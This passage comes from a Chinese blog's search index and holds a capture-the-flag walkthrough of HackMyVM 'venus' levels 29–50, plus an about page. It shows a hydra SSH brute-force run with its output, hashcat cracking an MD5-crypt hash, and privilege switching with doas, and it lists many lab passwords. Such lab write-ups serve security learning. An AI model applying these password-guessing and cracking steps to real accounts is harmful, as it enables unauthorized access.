sudo systemctl enable mysql # 禁用开机自启 sudo systemctl disable mysql # 重新加载配置 sudo systemctl reload mysql 连接命令 # 基本连接 mysql -u root -p mysql -u username -p mysql -u username -pPassword123 # 不推荐，密码会显示 # 指定主机和端口 mysql -h localhost -u root -p mysql -h 127.0.0.1 -P 3306 -u root -p mysql -h remote.server.com -u root -p # 连接并指定数据库 mysql -u root -p database_name # 使用 socket 文件连接 mysql -u root -p -S /var/run/mysqld/mysqld.sock # 使用配置文件连接 mysql --defaults-file=/path/to/my.cnf 执行 SQL 命令 # 执行单条 SQL mysql -u root -p -e \"SHOW DATABASES;\" # 执行多条 SQL mysql -u root -p -e \"USE mydb; SELECT * FROM users; SHOW TABLES;\" # 从文件执行 SQL mysql -u root -p \u003c script.sql mysql -u root -p database_name \u003c backup.sql # 执行并输出到文件 mysql -u root -p -e \"SELECT * FROM users;\" \u003e output.txt # 静默模式（不显示表格边框） mysql -u root -p -s -e \"SELECT * FROM users;\" # 批处理模式 mysql -u root -p --batch -e \"SELECT * FROM users;\" 4.备份和恢复 # 备份单个数据库 mysqldump -u root -p database_name \u003e backup.sql # 备份所有数据库 mysqldump -u root -p --all-databases \u003e all_backup.sql # 备份多个数据库 mysqldump -u root -p --databases db1 db2 db3 \u003e backup.sql # 备份单个表 mysqldump -u root -p database_name table_name \u003e table_backup.sql # 备份表结构（不含数据） mysqldump -u root -p --no-data database_name \u003e structure.sql # 只备份数据（不含结构） mysqldump -u root -p --no-create-info database_name \u003e data.sql # 压缩备份 mysqldump -u root -p database_name | gzip \u003e backup.sql.gz # 恢复数据库 mysql -u root -p database_name \u003c backup.sql mysql -u root -p \u003c all_backup.sql # 恢复压缩备份 gunzip \u003c backup.sql.gz | mysql -u root -p database_name 这关有问题了，不知道为啥。 nina ixpeqdWuvC5N9kG mysql -uceleste -pVLSNMTKwSV2o8Tn Welcome to the MariaDB monitor. Commands end with ; or \\g. Your MariaDB connection id is 8 Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement. MariaDB [(none)]\u003e show databases -\u003e ; +--------------------+ | Database | +--------------------+ | information_schema | | venus | +--------------------+ 2 rows in set (0.004 sec) MariaDB [(none)]\u003e use venus Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [venus]\u003e show tables; +-----------------+ | Tables_in_venus | +-----------------+ | people | +-----------------+ 1 row in set (0.001 sec) MariaDB [venus]\u003e select column_name form information_schema.columns where table_name=\"people\"; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'information_schema.columns where table_name=\"people\"' at line 1 MariaDB [venus]\u003e select column_name from information_schema.columns where ta ble_name=\"people\"; +-------------+ | column_name | +-------------+ | id_people | | uzer | | pazz | +-------------+ 3 rows in set (0.006 sec) MariaDB [venus]\u003e select * from people -\u003e ; +-----------+---------------+--------------------------------+ | id_people | uzer | pazz | +-----------+---------------+--------------------------------+ | 1 | nuna | ixpfdsvcxeqdW | | 2 | nona | ixpvcxvcxeqdW | | 3 | manue | ixpfdsfdseqdW | | 4 | samoa | ixperrewrweqdW | | 5 | dsaewq | ixpefdsfsqdW | | 6 | fdsfewrew | ixpedvcxv4qdW | | 7 | koiuoiudsadas | ixpredsfdeqdW | | 8 | vcxfdsfew | ixp342432eqdW | | 9 | dasd | ixpeiuyiuyqdW | | 10 | helen | uytuytjhgixpeqdW | | 11 | tudou | ijhgjghxpeqfdfsfddW | | 12 | fdsoiurew | ixpfdsfsdsvcxvcxeqdW | | 13 | inan | imbnmnbxpeqdW | | 14 | zkret | ixpeqkjhkhjkdW | | 15 | cjhcx | i","date":"2026-03-08","heading":"level29(mysql)","objectID":"/p/venus/:29:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level29mysql"},{"categories":["靶机复盘"],"collections":null,"content":"level30 关卡说明：The user kira is hidding something in http://localhost/method.php curl -s -i -X PUT http://localhost/method.php HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 04 Mar 2026 11:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive tPlqxSKuT4eP3yr ","date":"2026-03-08","heading":"level30","objectID":"/p/venus/:30:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level30"},{"categories":["靶机复盘"],"collections":null,"content":"level31 关卡说明：The user veronica visits a lot http://localhost/waiting.php curl http://localhost/waiting.php Im waiting for the user-agent PARADISE. curl -A \"PARADISE\" http://localhost/waiting.php QTOel6BodTx2cwX ","date":"2026-03-08","heading":"level31","objectID":"/p/venus/:31:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level31"},{"categories":["靶机复盘"],"collections":null,"content":"level32 关卡说明：The user veronica uses a lot the password from lana, so she created an alias. alias alias lanapass='UWbc0zNEVVops1v' alias ls='ls --color=auto' ","date":"2026-03-08","heading":"level32","objectID":"/p/venus/:32:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level32"},{"categories":["靶机复盘"],"collections":null,"content":"level33 关卡说明：The user noa loves to compress her things. mkdir /tmp/4 cp zip.gz /tmp/4 cd /tmp/4 file zip.gz zip.gz: POSIX tar archive (GNU) # 打包 tar -xf zip.gz cat ./pwned/lana/zip 9WWOPoeJrq6ncvJ ","date":"2026-03-08","heading":"level33","objectID":"/p/venus/:33:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level33"},{"categories":["靶机复盘"],"collections":null,"content":"level34 关卡说明：The password of maia is surrounded(包裹) by trash surrounded file trash trash: data strings trash b;pK *\u0026dv |.- wsG9 D55- \\|gu 1q#^ YV!)} f}nP T735 5GOj' g3-5v)S~hK {Xu7 O;rTl, ]Bokc 04`0 X:Uf ;Vtr3 `vr) k` I \u003c(;pQ @$LiJ u7TI *Q{r% ;%gzDB b%/* 3g?d =I+\" xfFN \\nh1hnDPHpydEjoEN ! 2L~8 JmN8 @%`j , ^, e\u0026xvN2 _cKn .c|0 )|hd\u0026 hl(p fEr: OdBb ?OsP dnN9 J7e( JL6( wI;%vz apPD a5qi |otr 4TTm toyi *f|F .%J`t # 密码：h1hnDPHpydEjoEN ","date":"2026-03-08","heading":"level34","objectID":"/p/venus/:34:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level34"},{"categories":["靶机复盘"],"collections":null,"content":"level35 关卡说明：The user gloria has forgotten the last 2 characters of her password \u0026hellip; They only remember that they were 2 lowercase letters. import string letter = string.ascii_lowercase password = \"v7xUVE2e5bjUc\" with open('password.txt','w') as f: for i in letter: for j in letter: f.write(password + i + j + '\\n') 字典制造。 hydra -l gloria -P ./password.txt ssh://venus.hackmyvm.eu:5000 Hydra v9.5 (c) 2023 by van Hauser/THC \u0026 David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-05 17:55:51 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 676 login tries (l:1/p:676), ~43 tries per task [DATA] attacking ssh://venus.hackmyvm.eu:5000/ [STATUS] 149.00 tries/min, 149 tries in 00:01h, 532 to do in 00:04h, 11 active [STATUS] 147.67 tries/min, 443 tries in 00:03h, 238 to do in 00:02h, 11 active [STATUS] 146.00 tries/min, 584 tries in 00:04h, 97 to do in 00:01h, 11 active [5000][ssh] host: venus.hackmyvm.eu login: gloria password: v7xUVE2e5bjUcxw 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 5 final worker threads did not complete until end. [ERROR] 5 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-05 18:00:09 ","date":"2026-03-08","heading":"level35","objectID":"/p/venus/:35:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level35"},{"categories":["靶机复盘"],"collections":null,"content":"level36 关卡说明：User alora likes drawings, that\u0026rsquo;s why she saved her password as \u0026hellip; cat image ########################################################## ########################################################## ########################################################## ########################################################## ######## ########## ## ######## ######## ########## ## ## #### ########## ######## ######## ## ## ## ## ###### ## ## ######## ######## ## ## #### ######## ## ## ######## ######## ## ## ## #### ## ## ######## ######## ########## ## #### ########## ######## ######## ## ## ## ## ######## ######################## #### ########################## ######## ## #### #### ## ## ## ########## ############ ###### ## ## ## ######## ######## ## ## ## ## #### ## ######## ############## ## ## ###### ## #### ######## ############ ## ## ######## ## ## ########## ######################## #### ## ## #### ######## ######## ## #### ## ########## ######## ########## ###### ########## #### ########## ######## ## ## #### ## ###### ######## ######## ## ## ## ## ###### ## #### ######## ######## ## ## #### ## ## ## ######## ######## ########## ## #### ## ################## ######## ## ## ########## ########################################################## ########################################################## ########################################################## ########################################################## 这竟然是一个二维码。 密码：mhrTFCoxGoqUxtw ","date":"2026-03-08","heading":"level36","objectID":"/p/venus/:36:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level36"},{"categories":["靶机复盘"],"collections":null,"content":"level37 关卡说明：The user julie has created an iso with her password. 文件说明 music.iso - ISO 9660 格式的光盘镜像文件 包含了一张 CD-ROM 的完整内容 可以挂载或刻录到光盘 # 如果你在 WSL (Windows Subsystem for Linux) 中 sudo mkdir -p /mnt/cdrom # sudo mount -o loop music.iso /mnt/cdrom # mount 挂载命令 将文件系统连接到目录树的某个位置 # -o 选项 loop 回环设备选项 -o loop 相当于把文件模拟成一个硬盘或光驱 # music.iso 要挂载的ISO镜像 # /mnt/cdrom ISO要显示的目录 # 查看内容 ls -la /mnt/cdrom # 复制文件 cp -r /mnt/cdrom/* ./music_files/ # 卸载 sudo umount /mnt/cdrom scp -P 5000 alora@venus.hackmyvm.eu:~/music.iso ~/Desktop mkdir /tmp/temporary sudo mount -o loop music.iso /tmp/temporary cd /tmp/temporary unzip music.zip cat pwned/alora/music.txt sjDf4i2MSNgSvOv ","date":"2026-03-08","heading":"level37","objectID":"/p/venus/:37:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level37"},{"categories":["靶机复盘"],"collections":null,"content":"level38(diff) 关卡说明：The user irene believes that the beauty is in the difference. diff 1.txt 2.txt 174c174 \u003c 8VeRLEFkBpe2DSD # 密码 --- \u003e aNHRdohjOiNizlU ","date":"2026-03-08","heading":"level38(diff)","objectID":"/p/venus/:38:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level38diff"},{"categories":["靶机复盘"],"collections":null,"content":"level39 关卡说明：The user adela has lent(lend 借给，提供) her password to irene. mkdir /tmp/8 openssl pkeyutl -decrypt -inkey ./id_rsa.pem -in pass.enc -out /tmp/8/pass.txt cat /tmp/8/pass.txt nbhlQyKuaXGojHx 扩展： openssl pkeyutl -decrypt -inkey ./id_rsa.pem -in pass.enc -out /tmp/8/pass.txt 1. openssl OpenSSL 工具，用于加密/解密、证书管理等 2. pkeyutl Public Key Utility（公钥工具） 用于公钥/私钥操作（加密、解密、签名、验证） 替代旧的 rsautl 命令 3. -decrypt 解密模式 使用私钥解密数据 4. -inkey ./id_rsa.pem 指定私钥文件 id_rsa.pem 是当前目录下的私钥 5. -in pass.enc 输入文件：要解密的加密文件 6. -out /tmp/8/pass.txt 输出文件：解密后的明文保存位置 加密过程： # 使用公钥加密文件 openssl pkeyutl -encrypt -pubin -inkey public_key.pem -in plaintext.txt -out encrypted.enc # -pubin 表示输入的密钥文件是公钥 # 或使用私钥提取公钥后加密 openssl rsa -in id_rsa.pem -pubout -out public_key.pem openssl pkeyutl -encrypt -pubin -inkey public_key.pem -in message.txt -out message.enc ","date":"2026-03-08","heading":"level39","objectID":"/p/venus/:39:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level39"},{"categories":["靶机复盘"],"collections":null,"content":"level40 关卡说明：User sky has saved her password to something that can be listened to. cat wtf .--. .- .--. .- .--. .- .-. .- -.. .. ... . Cyber 解密： PAPAPARADISE papaparadise ","date":"2026-03-08","heading":"level40","objectID":"/p/venus/:40:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level40"},{"categories":["靶机复盘"],"collections":null,"content":"level41 关卡说明：User sarah uses header in http://localhost/key.php curl -H \"Key: true\" http://localhost/key.php LWOHeRgmIxg7fuS ","date":"2026-03-08","heading":"level41","objectID":"/p/venus/:41:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level41"},{"categories":["靶机复盘"],"collections":null,"content":"level42 关卡说明：The password of mercy is hidden in this directory. ls -al total 32 drwxr-x--- 2 root sarah 4096 Apr 5 2024 . drwxr-xr-x 55 root root 4096 Apr 5 2024 .. -rw-r----- 1 root sarah 16 Apr 5 2024 ... -rw-r--r-- 1 sarah sarah 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 sarah sarah 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 sarah sarah 807 Apr 23 2023 .profile -rw-r----- 1 root sarah 31 Apr 5 2024 flagz.txt -rw-r----- 1 root sarah 175 Apr 5 2024 mission.txt cat \u003c ... ym5yyXZ163uIS8L cat ./... ym5yyXZ163uIS8L ","date":"2026-03-08","heading":"level42","objectID":"/p/venus/:42:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level42"},{"categories":["靶机复盘"],"collections":null,"content":"level43 关卡说明: User mercy is always wrong with the password of paula. ls -al total 32 drwxr-x--- 2 root mercy 4096 Apr 5 2024 . drwxr-xr-x 55 root root 4096 Apr 5 2024 .. -rw-r----- 1 root mercy 133 Apr 5 2024 .bash_history -rw-r--r-- 1 mercy mercy 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 mercy mercy 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 mercy mercy 807 Apr 23 2023 .profile -rw-r----- 1 root mercy 31 Apr 5 2024 flagz.txt -rw-r----- 1 root mercy 190 Apr 5 2024 mission.txt cat .bash_history ls -A ls rm / ps sudo -l watch tv vi /etc/logs su paula dlHZ6cvX6cLuL8p history history -c logout ssh paula@localhost cat . ls ls -l ","date":"2026-03-08","heading":"level43","objectID":"/p/venus/:43:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level43"},{"categories":["靶机复盘"],"collections":null,"content":"level44 关卡说明：The user karla trusts me, she is part of my group of friends. groups # 查看当前用户的组 paula hidden find / -group hidden 2\u003e/dev/null /usr/src/.karl-a cat /usr/src/.karl-a gYAmvWY3I7yDKRf ","date":"2026-03-08","heading":"level44","objectID":"/p/venus/:44:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level44"},{"categories":["靶机复盘"],"collections":null,"content":"level45 关卡说明：User denise has saved her password in the image. exiftool 是查看和编辑文件元数据（metadata）的工具。 什么是元数据 元数据 = 文件的附加信息 照片元数据包括： - 拍摄时间 - 相机型号 - GPS 位置 - 作者/版权 - 注释/描述 - 软件信息 等等 # 查看所有元数据 exiftool image.jpg # 查看特定字段 exiftool -Comment image.jpg exiftool -Author image.jpg exiftool -Description image.jpg exiftool yuju.jpg ExifTool Version Number : 13.25 File Name : yuju.jpg Directory : . File Size : 33 kB File Modification Date/Time : 2026:03:06 13:50:24+08:00 File Access Date/Time : 2026:03:06 13:50:24+08:00 File Inode Change Date/Time : 2026:03:06 13:50:24+08:00 File Permissions : -rw-r----- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 96 Y Resolution : 96 Exif Byte Order : Big-endian (Motorola, MM) Artist : sML Date/Time Original : 2021:11:01 10:34:51 Create Date : 2021:11:01 10:34:51 Sub Sec Time Original : 95 Sub Sec Time Digitized : 95 XP Author : sML Padding : (Binary data 2060 bytes, use -b option to extract) XMP Toolkit : Image::ExifTool 12.16 About : pFg92DpGucMWccA Creator : sML Image Width : 442 Image Height : 463 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 442x463 Megapixels : 0.205 Create Date : 2021:11:01 10:34:51.95 Date/Time Original : 2021:11:01 10:34:51.95 ","date":"2026-03-08","heading":"level45","objectID":"/p/venus/:45:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level45"},{"categories":["靶机复盘"],"collections":null,"content":"level46 关卡说明：The user zora is screaming doas! find / -name doas 2\u003e/dev/null /usr/share/doc/doas /usr/bin/doas /etc/pam.d/doas file /usr/share/doc/doas /usr/share/doc/doas: directory file /usr/bin/doas /usr/bin/doas: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=07ac0f9d39f13db413cc7c2df32463a66f8f6e6e, for GNU/Linux 3.2.0, stripped file /etc/pam.d/doas /etc/pam.d/doas: ASCII text cat /etc/pam.d/doas #%PAM-1.0 # Set up user limits from /etc/security/limits.conf. session required pam_limits.so @include common-auth @include common-account @include common-session-noninteractive doas usage: doas [-Lns] [-C config] [-u user] command [args] doas -u zora /bin/bash doas (denise@venus) password: zora@venus:/pwned/denise$ 密码：BWm1R3jCcb53riO ","date":"2026-03-08","heading":"level46","objectID":"/p/venus/:46:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level46"},{"categories":["靶机复盘"],"collections":null,"content":"level47 关卡说明：The user belen has left her password in venus.hmv curl http://venus.hmv 2jA0E8bQ4WrGwWZ ","date":"2026-03-08","heading":"level47","objectID":"/p/venus/:47:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level47"},{"categories":["靶机复盘"],"collections":null,"content":"level48 关卡说明：It seems that belen has stolen the password of the user leona\u0026hellip; cat stolen.txt $1$leona$lhWp56YnWAMz6z32Bw53L0 哈希格式解析 $1$leona$lhWp56YnWAMz6z32Bw53L0 $1$ = MD5-crypt 算法标识 leona = salt（盐值） lhWp56...L0 = 哈希值 哈希类型识别 $1$ = MD5-crypt (Unix) $2$ = Blowfish (bcrypt) $5$ = SHA-256 $6$ = SHA-512 $y$ = yescrypt hashcat -m 500 -a 0 stolen.txt /usr/share/wordlists/rockyou.txt -m 模式 500 MD5-crtpt -a 0 字典模式 stolen.txt 要攻击的文件 rockyou.txt 字典 $1$leona$lhWp56YnWAMz6z32Bw53L0:freedom ","date":"2026-03-08","heading":"level48","objectID":"/p/venus/:48:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level48"},{"categories":["靶机复盘"],"collections":null,"content":"level49 关卡说明：User ava plays a lot with the DNS of venus.hmv lately\u0026hellip; /etc/bind/ 是 BIND DNS 服务器的配置目录，用于配置 DNS 服务器（不是客户端）。 /etc/bind/ 目录说明 /etc/bind/ = BIND9 DNS 服务器配置目录 BIND = Berkeley Internet Name Domain 作用: 运行 DNS 服务器，提供域名解析服务 主要配置文件 1. 核心配置文件 /etc/bind/named.conf # 主配置文件 /etc/bind/named.conf.options # 选项配置 /etc/bind/named.conf.local # 本地区域配置 /etc/bind/named.conf.default-zones # 默认区域 2. 区域文件（Zone Files） /etc/bind/db.local # 本地正向解析 /etc/bind/db.127 # 本地反向解析 /etc/bind/db.root # 根服务器 /etc/bind/db.empty # 空区域 /etc/bind/zones/ # 自定义区域文件目录 查看 BIND 配置 # 查看主配置 cat /etc/bind/named.conf # 查看选项配置 cat /etc/bind/named.conf.options # 查看本地区域配置 cat /etc/bind/named.conf.local # 查看所有配置文件 ls -la /etc/bind/ # 查看区域文件 cat /etc/bind/db.* DNS 相关配置 # 查看 DNS 服务器配置 cat /etc/resolv.conf # 查看 hosts 文件 cat /etc/hosts # 查看 systemd-resolved 配置 systemd-resolve --status resolvectl status DNS 查询命令 # nslookup - 查询 DNS nslookup venus.hmv # dig - 详细 DNS 查询 dig venus.hmv dig venus.hmv ANY dig venus.hmv TXT dig venus.hmv A dig venus.hmv AAAA # host - 简单 DNS 查询 host venus.hmv host -a venus.hmv leona@venus:~$ host venus.hmv venus.hmv has address 172.66.0.10 leona@venus:~$ curl 172.66.0.10 33EtHoz9a0w2Yqo 这个密码是错误的。 cat /etc/bind/db.venus.hmv ; ; BIND data file for local loopback interface ; 604800 @ IN SOA ns1.venus.hmv. root.venus.hmv. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ;@ IN NS localhost. ;@ IN A 127.0.0.1 ;@ IN AAAA ::1 @ IN NS ns1.venus.hmv. ;IP address of Name Server ns1 IN A 127.0.0.1 ava IN TXT oCXBeeEeYFX34NU ","date":"2026-03-08","heading":"level49","objectID":"/p/venus/:49:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level49"},{"categories":["靶机复盘"],"collections":null,"content":"level50 关卡说明：The password of maria is somewhere\u0026hellip; 密码是：.\u0026ndash;. .- .\u0026ndash;. .- .\u0026ndash;. .- .-. .- -.. .. \u0026hellip; . ","date":"2026-03-08","heading":"level50","objectID":"/p/venus/:50:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level50"},{"categories":null,"collections":null,"content":"关于本站与作者。","date":"0001-01-01","objectID":"/about/","tags":null,"title":"关于","uri":"/about/"},{"categories":null,"collections":null,"content":"你好，欢迎来到我的博客 👋 这里主要记录我的技术笔记、生活见闻和一些思考。博客使用 Hugo 搭建，主题为 FixIt，托管在 GitHub Pages 上。 ","date":"0001-01-01","heading":"","objectID":"/about/:0:0","tags":null,"title":"关于","uri":"/about/#"},{"categories":null,"collections":null,"content":"关于本站 写作工具：Markdown + Typora 生成引擎：Hugo 外观主题：FixIt 托管服务：GitHub Pages（免费） ","date":"0001-01-01","heading":"关于本站","objectID":"/about/:1:0","tags":null,"title":"关于","uri":"/about/#关于本站"},{"categories":null,"collections":null,"content":"联系我 GitHub：21346asz 如果某篇文章帮到了你，欢迎常来看看。 ","date":"0001-01-01","heading":"联系我","objectID":"/about/:2:0","tags":null,"title":"关于","uri":"/about/#联系我"}]